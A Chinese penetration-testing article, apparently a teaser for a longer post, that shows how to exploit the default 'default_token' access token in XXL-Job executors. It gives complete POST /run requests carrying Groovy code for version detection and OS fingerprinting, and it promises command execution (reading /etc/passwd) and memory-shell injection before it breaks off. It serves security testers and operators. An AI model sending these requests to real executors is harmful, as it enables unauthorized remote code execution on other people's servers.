在渗透测试中,XXL-Job 相关漏洞常因直接反弹 shell 的便捷性被关注,但实际场景中“不出网”“无调度中心面板”的情况更为棘手。本文结合实战案例,详细拆解 XXL-Job 执行器默认 token 漏洞的版本检测、命令执行及多种内存马注入方法,同时提供一键化工具简化操作,适用于安全测试人员与运维人员参考。
编辑
一、漏洞背景与测试环境说明
XXL-Job 作为常用的分布式任务调度框架,部分版本的执行器存在 默认 AccessToken(default_token) 配置漏洞。攻击者可利用该漏洞绕过认证,执行恶意代码。本次测试针对“不出网、无调度中心”的实战场景,重点验证漏洞利用的可行性与替代方案。
核心测试环境参数
| 配置项 | 具体内容 | 说明 |
|---|---|---|
| 目标系统 | XXL-Job 执行器 | 非完整 XXL-Job 项目,仅集成执行器模块 |
| 测试版本 | 2.2.0、2.3.1、2.4.1 | 覆盖主流稳定版本,验证版本差异影响 |
| 默认 Token | default_token | 执行器默认配置,未修改则存在风险 |
| 常用端口 | 9999 | XXL-Job 执行器默认通信端口,需结合实际情况探测 |
二、版本检测与操作系统识别
不同 XXL-Job 版本的日志输出类存在差异,这是版本检测的核心依据。通过构造 /run 请求执行 Groovy 脚本,结合 /log 接口查询结果,可同时实现版本判断与操作系统识别。
2.1 XXL-Job 2.2.0 版本检测
2.2.0 版本依赖 xxl.job.core.log.XxlJobLogger 类输出日志,脚本需返回 ReturnT<String> 类型结果。
1. 发送执行请求(POST /run)
核心是通过 Groovy 脚本调用 System.getProperty("os.name") 获取系统信息,并通过 XxlJobLogger.log() 输出标识。
POST /run HTTP/1.1
Host: IP:9999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 933
{
"jobId": 16,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 16,
"logDateTime": 1,
"glueType": "GLUE_GROOVY",
"glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.log.XxlJobLogger;public class DemoGlueJobHandler extends IJobHandler {@Override public com.xxl.job.core.biz.model.ReturnT<String> execute(String param) throws Exception {try {String os=System.getProperty("os.name").toLowerCase();XxlJobLogger.log(os.contains("win")?"**********Windows**********":"**********Linux/Unix**********");return com.xxl.job.core.biz.model.ReturnT.SUCCESS;} catch(Exception e){XxlJobLogger.log(e.getMessage());return com.xxl.job.core.biz.model.ReturnT.FAIL;}}}",
"glueUpdatetime": 1586699003757,
"broadcastIndex": 0,
"broadcastTotal": 0
}
成功响应为{"code":200},表示脚本已执行。
2. 查询日志(POST /log)
通过 logId 查询执行结果,日志中会包含系统标识(如**********Linux/Unix**********)。
POST /log HTTP/1.1
Host: IP:9999
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
{"logId": 16}
2.2 XXL-Job >2.2.0 版本检测(2.3.1/2.4.1)
2.2.0 之后的版本将日志类改为 xxl.job.core.context.XxlJobHelper,且execute 方法返回值变为void,需调整脚本适配。
核心请求差异
- 日志类:从
XxlJobLogger改为XxlJobHelper - 方法签名:从
public ReturnT<String> execute(String param)改为void execute()
执行请求示例(POST /run)
POST /run HTTP/1.1
Host: IP:39999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 782
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_GROOVY",
"glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.context.XxlJobHelper;public class DemoGlueJobHandler extends IJobHandler {@Override void execute() throws Exception {try {String os=System.getProperty("os.name").toLowerCase();XxlJobHelper.log(os.contains("win")?"**********Windows**********":"**********Linux/Unix**********");} catch(Exception e){XxlJobHelper.log(e.getMessage());}}}",
"glueUpdatetime": 1586699003757,
"broadcastIndex": 0,
"broadcastTotal": 0
}
2.3 版本与日志类对应关系
| XXL-Job 版本 | 日志输出类 | 方法签名 | 日志标识特征 |
|---|---|---|---|
| 2.2.0 | XxlJobLogger | ReturnT execute(String param) | NativeMethodAccessorImpl#invoke0 |
| >2.2.0(2.3.1/2.4.1) | XxlJobHelper | void execute() | GeneratedMethodAccessor#invoke |
三、不出网场景下的命令执行
不出网环境无法直接反弹 shell,需通过 /run 接口执行命令,再通过 /log 接口读取结果,实现“执行 – 回显”闭环。以 2.2.0 版本执行 cat /etc/passwd 为例。
3.1 命令执行请求(POST /run)
继续阅读全文:XXL-Job 执行器默认 AccessToken 漏洞:不出网场景下的利用与内存马注入实践